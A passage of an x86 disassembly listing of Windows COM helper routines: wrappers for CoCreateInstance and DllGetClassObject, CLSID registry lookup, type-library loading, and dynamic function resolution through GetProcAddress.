arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
and eax, 1
test eax, eax
jnz short loc_509336
mov eax, 80004005h
jmp short locret_5093B1
; ---------------------------------------------------------------------------
loc_509336: ; CODE XREF: sub_50931F+Ej
push [ebp+arg_0]
call sub_502D50
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_5093AC
push 8
pop edx
mov ecx, [ebp+var_4]
call sub_5061E1
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_50936C
mov eax, [ebp+arg_14]
mov dword ptr [eax], 80004005h
mov eax, 80004005h
jmp short locret_5093B1
; ---------------------------------------------------------------------------
loc_50936C: ; CODE XREF: sub_50931F+3Bj
and [ebp+var_C], 0
push offset aDllgetclassobj ; "DllGetClassObject"
push [ebp+var_8]
call ds:dword_511728 ; GetProcAddress
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_509397
mov eax, [ebp+arg_14]
mov dword ptr [eax], 80004005h
mov eax, 80004005h
jmp short locret_5093B1
; ---------------------------------------------------------------------------
loc_509397: ; CODE XREF: sub_50931F+66j
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_0]
call [ebp+var_C]
mov ecx, [ebp+arg_14]
mov [ecx], eax
xor eax, eax
jmp short locret_5093B1
; ---------------------------------------------------------------------------
loc_5093AC: ; CODE XREF: sub_50931F+27j
mov eax, 80004005h
locret_5093B1: ; CODE XREF: sub_50931F+15j
; sub_50931F+4Bj ...
leave
retn
sub_50931F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_5093B3 proc near ; CODE XREF: sub_509518+53p
; sub_509789+43p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 1Ch
and [ebp+var_4], 0
push [ebp+arg_18]
lea eax, [ebp+var_4]
push eax
push offset dword_5111D8
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_0]
call sub_50931F
add esp, 18h
test eax, eax
jl loc_509511
mov eax, [ebp+arg_18]
cmp dword ptr [eax], 0
jge short loc_5093F4
mov eax, [ebp+arg_18]
mov eax, [eax]
jmp locret_509516
; ---------------------------------------------------------------------------
loc_5093F4: ; CODE XREF: sub_5093B3+35j
and [ebp+var_10], 0
and [ebp+var_C], 0
and [ebp+var_14], 0
and [ebp+var_8], 0
lea eax, [ebp+var_8]
push eax
push offset dword_5111C8
push [ebp+arg_4]
mov eax, [ebp+var_4]
mov eax, [eax]
push [ebp+var_4]
call dword ptr [eax+0Ch]
test eax, eax
jl loc_5094BB
and [ebp+var_18], 0
jmp short loc_509430
; ---------------------------------------------------------------------------
loc_509429: ; CODE XREF: sub_5093B3+F8j
mov eax, [ebp+var_18]
inc eax
mov [ebp+var_18], eax
loc_509430: ; CODE XREF: sub_5093B3+74j
mov eax, [ebp+var_18]
cmp eax, [ebp+arg_10]
jnb short loc_5094B0
mov eax, [ebp+var_18]
imul eax, 0Ch
mov ecx, [ebp+arg_14]
lea eax, [ecx+eax+4]
push eax
mov eax, [ebp+var_18]
imul eax, 0Ch
mov ecx, [ebp+arg_14]
push dword ptr [ecx+eax]
mov eax, [ebp+var_8]
mov eax, [eax]
push [ebp+var_8]
call dword ptr [eax]
mov ecx, [ebp+var_18]
imul ecx, 0Ch
mov edx, [ebp+arg_14]
mov [edx+ecx+8], eax
mov eax, [ebp+var_18]
imul eax, 0Ch
mov ecx, [ebp+arg_14]
cmp dword ptr [ecx+eax+8], 0
jl short loc_50947F
mov [ebp+var_C], 1
jmp short loc_50949C
; ---------------------------------------------------------------------------
loc_50947F: ; CODE XREF: sub_5093B3+C4j
mov eax, [ebp+var_18]
imul eax, 0Ch
mov ecx, [ebp+arg_14]
cmp dword ptr [ecx+eax+8], 80004002h
jnz short loc_509498
mov [ebp+var_10], 1
jmp short loc_50949C
; ---------------------------------------------------------------------------
loc_509498: ; CODE XREF: sub_5093B3+DDj
mov [ebp+var_14], 1
loc_50949C: ; CODE XREF: sub_5093B3+CAj
; sub_5093B3+E3j
mov eax, [ebp+var_18]
imul eax, 0Ch
mov ecx, [ebp+arg_14]
mov eax, [ecx+eax]
mov [ebp+var_1C], eax
jmp loc_509429
; ---------------------------------------------------------------------------
loc_5094B0: ; CODE XREF: sub_5093B3+83j
mov eax, [ebp+var_8]
mov eax, [eax]
push [ebp+var_8]
call dword ptr [eax+8]
loc_5094BB: ; CODE XREF: sub_5093B3+6Aj
movzx eax, [ebp+var_14]
test eax, eax
jz short loc_5094CE
mov eax, [ebp+arg_18]
mov dword ptr [eax], 80004005h
jmp short loc_509502
; ---------------------------------------------------------------------------
loc_5094CE: ; CODE XREF: sub_5093B3+10Ej
movzx eax, [ebp+var_C]
test eax, eax
jz short loc_5094E9
movzx eax, [ebp+var_10]
test eax, eax
jz short loc_5094E9
mov eax, [ebp+arg_18]
mov dword ptr [eax], 80012h
jmp short loc_509502
; ---------------------------------------------------------------------------
loc_5094E9: ; CODE XREF: sub_5093B3+121j
; sub_5093B3+129j
movzx eax, [ebp+var_C]
test eax, eax
jz short loc_5094F9
mov eax, [ebp+arg_18]
and dword ptr [eax], 0
jmp short loc_509502
; ---------------------------------------------------------------------------
loc_5094F9: ; CODE XREF: sub_5093B3+13Cj
mov eax, [ebp+arg_18]
mov dword ptr [eax], 80004002h
loc_509502: ; CODE XREF: sub_5093B3+119j
; sub_5093B3+134j ...
mov eax, [ebp+var_4]
mov eax, [eax]
push [ebp+var_4]
call dword ptr [eax+8]
xor eax, eax
jmp short locret_509516
; ---------------------------------------------------------------------------
loc_509511: ; CODE XREF: sub_5093B3+29j
mov eax, 80004005h
locret_509516: ; CODE XREF: sub_5093B3+3Cj
; sub_5093B3+15Cj
leave
retn
sub_5093B3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_509518 proc near ; DATA XREF: _7:off_5113E0o
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_50E578
push offset sub_4FC54C
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
sub esp, 24h
push ebx
push esi
push edi
and [ebp+var_1C], 0
and [ebp+var_4], 0
and [ebp+var_2C], 0
xor eax, eax
lea edi, [ebp+var_28]
stosd
stosd
mov eax, [ebp+arg_C]
mov [ebp+var_2C], eax
lea eax, [ebp+var_30]
push eax
lea eax, [ebp+var_2C]
push eax
push 1
push 0
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_5093B3
add esp, 1Ch
test eax, eax
jl short loc_50959A
mov eax, [ebp+arg_10]
mov ecx, [ebp+var_28]
mov [eax], ecx
push 0FFFFFFFFh
mov eax, [ebp+var_24]
mov [ebp+var_38], eax
lea eax, [ebp+var_10]
push eax
call sub_4FC496
pop ecx
pop ecx
mov eax, [ebp+var_38]
jmp loc_509627
; ---------------------------------------------------------------------------
loc_50959A: ; CODE XREF: sub_509518+5Dj
mov eax, [ebp+arg_8]
and eax, 1
test eax, eax
jz short loc_5095D6
push [ebp+arg_0]
call sub_509638
pop ecx
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0
jz short loc_5095D6
mov [ebp+arg_8], 1
push [ebp+var_1C]
call ds:dword_511718 ; GetModuleHandleA
test eax, eax
jnz short loc_5095D6
push 8
push 0
push [ebp+var_1C]
call sub_50AE96
loc_5095D6: ; CODE XREF: sub_509518+8Aj
; sub_509518+9Cj ...
and [ebp+var_20], 0
push offset dword_50E5DC
push offset aCocreateinstan ; "CoCreateInstance"
call sub_509C22
pop ecx
pop ecx
mov [ebp+var_20], eax
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call [ebp+var_20]
push 0FFFFFFFFh
mov [ebp+var_3C], eax
lea eax, [ebp+var_10]
push eax
call sub_4FC496
pop ecx
pop ecx
mov eax, [ebp+var_3C]
jmp short loc_509627
; ---------------------------------------------------------------------------
loc_509615: ; DATA XREF: _6:0050E580o
mov eax, [ebp+var_1C]
mov [ebp+var_34], eax
push [ebp+var_34]
call sub_5083DD
pop ecx
retn
; ---------------------------------------------------------------------------
xor eax, eax
loc_509627: ; CODE XREF: sub_509518+7Dj
; sub_509518+FBj
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn 14h
sub_509518 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_509638 proc near ; CODE XREF: sub_509518+8Fp
; sub_509789+8Fp ...
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
; FUNCTION CHUNK AT 005096A2 SIZE 0000007A BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_50E588
push offset sub_4FC54C
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
sub esp, 10h
push ebx
push esi
push edi
push offset dword_516098
call ds:dword_5116C4 ; RtlEnterCriticalSection
and [ebp+var_4], 0
cmp ds:dword_5160B0, 0
jnz short loc_50968B
push offset aAdvapi32_dll_0 ; "ADVAPI32.DLL"
push offset aRegqueryvaluea ; "RegQueryValueA"
call sub_509C22
pop ecx
pop ecx
mov ds:dword_5160B0, eax
loc_50968B: ; CODE XREF: sub_509638+3Bj
or [ebp+var_4], 0FFFFFFFFh
call sub_509696
jmp short loc_5096A2
sub_509638 endp
; =============== S U B R O U T I N E =======================================
sub_509696 proc near ; CODE XREF: sub_509638+57p
; DATA XREF: _6:0050E590o
push offset dword_516098
call ds:dword_511754 ; RtlLeaveCriticalSection
retn
sub_509696 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_509638
loc_5096A2: ; CODE XREF: sub_509638+5Cj
push 401h
call sub_50835A
pop ecx
mov [ebp+var_24], eax
mov eax, [ebp+var_24]
mov [ebp+var_1C], eax
mov [ebp+var_20], 400h
mov ecx, [ebp+var_20]
xor eax, eax
mov edi, [ebp+var_1C]
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
push [ebp+arg_0]
call sub_50971C
pop ecx
lea eax, [ebp+var_20]
push eax
push [ebp+var_1C]
push offset dword_515F98
push 80000000h
call ds:dword_5160B0
test eax, eax
jnz short loc_5096FC
mov eax, [ebp+var_1C]
jmp short loc_50970D
; ---------------------------------------------------------------------------
loc_5096FC: ; CODE XREF: sub_509638+BDj
mov eax, [ebp+var_1C]
mov [ebp+var_28], eax
push [ebp+var_28]
call sub_5083DD
pop ecx
xor eax, eax
loc_50970D: ; CODE XREF: sub_509638+C2j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; END OF FUNCTION CHUNK FOR sub_509638
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50971C proc near ; CODE XREF: sub_509638+9Ep
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
movzx eax, byte ptr [eax+0Fh]
push eax
mov eax, [ebp+arg_0]
movzx eax, byte ptr [eax+0Eh]
push eax
mov eax, [ebp+arg_0]
movzx eax, byte ptr [eax+0Dh]
push eax
mov eax, [ebp+arg_0]
movzx eax, byte ptr [eax+0Ch]
push eax
mov eax, [ebp+arg_0]
movzx eax, byte ptr [eax+0Bh]
push eax
mov eax, [ebp+arg_0]
movzx eax, byte ptr [eax+0Ah]
push eax
mov eax, [ebp+arg_0]
movzx eax, byte ptr [eax+9]
push eax
mov eax, [ebp+arg_0]
movzx eax, byte ptr [eax+8]
push eax
mov eax, [ebp+arg_0]
movzx eax, word ptr [eax+6]
push eax
mov eax, [ebp+arg_0]
movzx eax, word ptr [eax+4]
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax]
push offset aClsid08x04x04x ; "CLSID\\{%08x-%04x-%04x-%02x%02x-%02x%02x"...
push offset dword_515F98
call ds:dword_5117D4 ; wsprintfA
add esp, 34h
pop ebp
retn
sub_50971C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_509789 proc near ; DATA XREF: _7:005113E8o
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_50E598
push offset sub_4FC54C
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
sub esp, 24h
push ebx
push esi
push edi
and [ebp+var_1C], 0
and [ebp+var_4], 0
lea eax, [ebp+var_2C]
push eax
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_5093B3
add esp, 1Ch
test eax, eax
jl short loc_5097F3
push 0FFFFFFFFh
mov eax, [ebp+var_2C]
mov [ebp+var_38], eax
lea eax, [ebp+var_10]
push eax
call sub_4FC496
pop ecx
pop ecx
mov eax, [ebp+var_38]
jmp loc_5098AF
; ---------------------------------------------------------------------------
loc_5097F3: ; CODE XREF: sub_509789+4Dj
and [ebp+var_20], 0
push offset dword_50E5DC
push offset aCocreateinst_0 ; "CoCreateInstanceEx"
call sub_509C22
pop ecx
pop ecx
mov [ebp+var_20], eax
mov eax, [ebp+arg_8]
and eax, 1
test eax, eax
jz short loc_509847
push [ebp+arg_0]
call sub_509638
pop ecx
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0
jz short loc_509847
mov [ebp+arg_8], 1
push [ebp+var_1C]
call ds:dword_511718 ; GetModuleHandleA
test eax, eax
jnz short loc_509847
push 8
push 0
push [ebp+var_1C]
call sub_50AE96
loc_509847: ; CODE XREF: sub_509789+8Aj
; sub_509789+9Cj ...
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call [ebp+var_20]
mov [ebp+var_24], eax
and [ebp+var_28], 0
jmp short loc_50986C
; ---------------------------------------------------------------------------
loc_509865: ; CODE XREF: sub_509789+FAj
mov eax, [ebp+var_28]
inc eax
mov [ebp+var_28], eax
loc_50986C: ; CODE XREF: sub_509789+DAj
mov eax, [ebp+var_28]
cmp eax, [ebp+arg_10]
jnb short loc_509885
mov eax, [ebp+var_28]
imul eax, 0Ch
mov ecx, [ebp+arg_14]
mov eax, [ecx+eax]
mov [ebp+var_30], eax
jmp short loc_509865
; ---------------------------------------------------------------------------
loc_509885: ; CODE XREF: sub_509789+E9j
push 0FFFFFFFFh
mov eax, [ebp+var_24]
mov [ebp+var_3C], eax
lea eax, [ebp+var_10]
push eax
call sub_4FC496
pop ecx
pop ecx
mov eax, [ebp+var_3C]
jmp short loc_5098AF
; ---------------------------------------------------------------------------
loc_50989D: ; DATA XREF: _6:0050E5A0o
mov eax, [ebp+var_1C]
mov [ebp+var_34], eax
push [ebp+var_34]
call sub_5083DD
pop ecx
retn
; ---------------------------------------------------------------------------
xor eax, eax
loc_5098AF: ; CODE XREF: sub_509789+65j
; sub_509789+112j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn 18h
sub_509789 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_5098C0 proc near ; DATA XREF: _7:005113F0o
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_50E5A8
push offset sub_4FC54C
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
sub esp, 18h
push ebx
push esi
push edi
and [ebp+var_1C], 0
and [ebp+var_4], 0
lea eax, [ebp+var_24]
push eax
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_50931F
add esp, 18h
test eax, eax
jl short loc_509927
push 0FFFFFFFFh
mov eax, [ebp+var_24]
mov [ebp+var_2C], eax
lea eax, [ebp+var_10]
push eax
call sub_4FC496
pop ecx
pop ecx
mov eax, [ebp+var_2C]
jmp loc_5099B4
; ---------------------------------------------------------------------------
loc_509927: ; CODE XREF: sub_5098C0+4Aj
mov eax, [ebp+arg_4]
and eax, 1
test eax, eax
jz short loc_509963
push [ebp+arg_0]
call sub_509638
pop ecx
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0
jz short loc_509963
mov [ebp+arg_4], 1
push [ebp+var_1C]
call ds:dword_511718 ; GetModuleHandleA
test eax, eax
jnz short loc_509963
push 8
push 0
push [ebp+var_1C]
call sub_50AE96
loc_509963: ; CODE XREF: sub_5098C0+6Fj
; sub_5098C0+81j ...
and [ebp+var_20], 0
push offset dword_50E5DC
push offset aCogetclassobje ; "CoGetClassObject"
call sub_509C22
pop ecx
pop ecx
mov [ebp+var_20], eax
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call [ebp+var_20]
push 0FFFFFFFFh
mov [ebp+var_30], eax
lea eax, [ebp+var_10]
push eax
call sub_4FC496
pop ecx
pop ecx
mov eax, [ebp+var_30]
jmp short loc_5099B4
; ---------------------------------------------------------------------------
loc_5099A2: ; DATA XREF: _6:0050E5B0o
mov eax, [ebp+var_1C]
mov [ebp+var_28], eax
push [ebp+var_28]
call sub_5083DD
pop ecx
retn
; ---------------------------------------------------------------------------
xor eax, eax
loc_5099B4: ; CODE XREF: sub_5098C0+62j
; sub_5098C0+E0j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn 14h
sub_5098C0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_5099C5 proc near ; CODE XREF: sub_509A34+9Fp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_8], 80070057h
and [ebp+var_4], 0
lea eax, [ebp+var_4]
push eax
push [ebp+arg_4]
mov eax, [ebp+arg_0]
mov eax, [eax]
push [ebp+arg_0]
call dword ptr [eax+18h]
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jl short loc_509A2F
and [ebp+var_C], 0
push offset dword_50E5F8
push offset aGetrecordinfof ; "GetRecordInfoFromTypeInfo"
call sub_509C22
pop ecx
pop ecx
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jz short loc_509A28
push [ebp+arg_8]
push [ebp+var_4]
call [ebp+var_C]
mov [ebp+var_8], eax
mov eax, [ebp+var_4]
mov eax, [eax]
push [ebp+var_4]
call dword ptr [eax+8]
jmp short loc_509A2F
; ---------------------------------------------------------------------------
loc_509A28: ; CODE XREF: sub_5099C5+48j
mov [ebp+var_8], 80004005h
loc_509A2F: ; CODE XREF: sub_5099C5+2Aj
; sub_5099C5+61j
mov eax, [ebp+var_8]
leave
retn
sub_5099C5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_509A34 proc near ; DATA XREF: _7:off_5113F8o
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 24h
push edi
mov [ebp+var_4], 80004005h
push [ebp+arg_0]
call sub_502D50
pop ecx
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz loc_509AFD
and [ebp+var_10], 0
mov edi, [ebp+var_8]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
mov [ebp+var_18], ecx
push 208h
call sub_50835A
pop ecx
mov [ebp+var_20], eax
mov eax, [ebp+var_20]
mov [ebp+var_14], eax
mov ecx, 82h
xor eax, eax
mov edi, [ebp+var_14]
rep stosd
push 104h
push [ebp+var_14]
push 0FFFFFFFFh
push [ebp+var_8]
push 0
push 0
call ds:dword_511770 ; MultiByteToWideChar
push offset dword_50E5F8
push offset aLoadtypelib ; "LoadTypeLib"
call sub_509C22
pop ecx
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push eax
push [ebp+var_14]
call [ebp+var_C]
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jl short loc_509AE9
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+var_10]
call sub_5099C5
add esp, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+var_10]
mov eax, [eax]
push [ebp+var_10]
call dword ptr [eax+8]
loc_509AE9: ; CODE XREF: sub_509A34+94j
mov eax, [ebp+var_14]
mov [ebp+var_24], eax
push [ebp+var_24]
call sub_5083DD
pop ecx
mov eax, [ebp+var_4]
jmp short loc_509B37
; ---------------------------------------------------------------------------
loc_509AFD: ; CODE XREF: sub_509A34+1Ej
and [ebp+var_1C], 0
push offset dword_50E5F8
push offset aGetrecordinf_0 ; "GetRecordInfoFromGuids"
call sub_509C22
pop ecx
pop ecx
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0
jz short loc_509B32
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call [ebp+var_1C]
jmp short loc_509B37
; ---------------------------------------------------------------------------
loc_509B32: ; CODE XREF: sub_509A34+E5j
mov eax, 80004005h
loc_509B37: ; CODE XREF: sub_509A34+C7j
; sub_509A34+FCj
pop edi
leave
retn 18h
sub_509A34 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_509B3C proc near ; DATA XREF: _7:00511400o
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 1Ch
mov [ebp+var_8], 80004005h
push [ebp+arg_0]
call sub_502D50
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_509BB5
push 208h
call sub_50835A
pop ecx
mov [ebp+var_18], eax
mov eax, [ebp+var_18]
mov [ebp+var_10], eax
push 104h
push [ebp+var_10]
push 0FFFFFFFFh
push [ebp+var_4]
push 0
push 0
call ds:dword_511770 ; MultiByteToWideChar
push offset dword_50E5F8
push offset aLoadtypelib ; "LoadTypeLib"
call sub_509C22
pop ecx
pop ecx
mov [ebp+var_C], eax
push [ebp+arg_10]
push [ebp+var_10]
call [ebp+var_C]
mov [ebp+var_8], eax
mov eax, [ebp+var_10]
mov [ebp+var_1C], eax
push [ebp+var_1C]
call sub_5083DD
pop ecx
loc_509BB5: ; CODE XREF: sub_509B3C+1Dj
cmp [ebp+var_8], 0
jge short loc_509BE4
push offset dword_50E5F8
push offset aLoadregtypelib ; "LoadRegTypeLib"
call sub_509C22
pop ecx
pop ecx
mov [ebp+var_14], eax
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call [ebp+var_14]
mov [ebp+var_8], eax
loc_509BE4: ; CODE XREF: sub_509B3C+7Dj
mov eax, [ebp+var_8]
leave
retn 14h
sub_509B3C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_509BEB proc near ; CODE XREF: sub_509C22+Ap
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push [ebp+arg_4]
call ds:dword_511718 ; GetModuleHandleA
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_509C0E
push [ebp+arg_4]
call ds:dword_51175C ; LoadLibraryA
mov [ebp+var_8], eax
loc_509C0E: ; CODE XREF: sub_509BEB+15j
push [ebp+arg_0]
push [ebp+var_8]
call ds:dword_511728 ; GetProcAddress
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
leave
retn
sub_509BEB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_509C22 proc near ; CODE XREF: sub_5058A0+16p
; sub_509518+CCp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push [ebp+arg_4]
push [ebp+arg_0]
call sub_509BEB
pop ecx
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_509C4F
push ds:off_50E4F8
push 30h
push ds:off_50E4FC
call sub_50848C
loc_509C4F: ; CODE XREF: sub_509C22+18j
mov eax, [ebp+var_4]
leave
retn
sub_509C22 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_509C54 proc near ; CODE XREF: sub_432F40+8p
; sub_432F60+9p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
cmp [ebp+arg_0], 0
jnz short loc_509C64
mov [ebp+arg_0], offset sub_508C27
loc_509C64: ; CODE XREF: sub_509C54+7j
movzx eax, ds:byte_5160D0
test eax, eax
jnz short loc_509C7A
push [ebp+arg_0]
call ds:dword_511790 ; SetUnhandledExceptionFilter
jmp short loc_509C8A
; ---------------------------------------------------------------------------
loc_509C7A: ; CODE XREF: sub_509C54+19j
push offset sub_508C27
call ds:dword_511790 ; SetUnhandledExceptionFilter
mov eax, offset sub_508C27
loc_509C8A: ; CODE XREF: sub_509C54+24j
pop ebp
retn 4
sub_509C54 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_509C8E proc near ; CODE XREF: sub_509D79+4Bp
; sub_509F43+108p ...
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_22 = byte ptr -22h
var_21 = byte ptr -21h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = word ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 2Ch
and [ebp+var_8], 0
mov eax, [ebp+arg_4]
mov eax, [eax+18h]
dec eax
mov [ebp+var_4], eax
loc_509CA2: ; CODE XREF: sub_509C8E:loc_509D70j
mov eax, [ebp+var_8]
cmp eax, [ebp+var_4]
jg loc_509D75
mov eax, [ebp+var_8]
add eax, [ebp+var_4]
cdq
sub eax, edx
sar eax, 1
mov [ebp+var_10], eax
mov eax, [ebp+arg_4]
mov ecx, [ebp+arg_0]
add ecx, [eax+20h]
mov eax, [ebp+var_10]
mov eax, [ecx+eax*4]
add eax, [ebp+arg_0]
mov [ebp+var_1C], eax
mov eax, [ebp+arg_8]
mov [ebp+var_20], eax
loc_509CD7: ; CODE XREF: sub_509C8E+7Bj
mov eax, [ebp+var_20]
mov al, [eax]
mov [ebp+var_21], al
mov ecx, [ebp+var_1C]
cmp al, [ecx]
jnz short loc_509D11
cmp [ebp+var_21], 0
jz short loc_509D0B
mov eax, [ebp+var_20]
mov al, [eax+1]
mov [ebp+var_22], al
mov ecx, [ebp+var_1C]
cmp al, [ecx+1]
jnz short loc_509D11
add [ebp+var_20], 2
add [ebp+var_1C], 2
cmp [ebp+var_22], 0
jnz short loc_509CD7
loc_509D0B: ; CODE XREF: sub_509C8E+5Cj
and [ebp+var_28], 0
jmp short loc_509D19
; ---------------------------------------------------------------------------
loc_509D11: ; CODE XREF: sub_509C8E+56j
; sub_509C8E+6Dj
sbb eax, eax
sbb eax, 0FFFFFFFFh
mov [ebp+var_28], eax
loc_509D19: ; CODE XREF: sub_509C8E+81j
mov eax, [ebp+var_28]
mov [ebp+var_2C], eax
mov eax, [ebp+var_2C]
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_509D5A
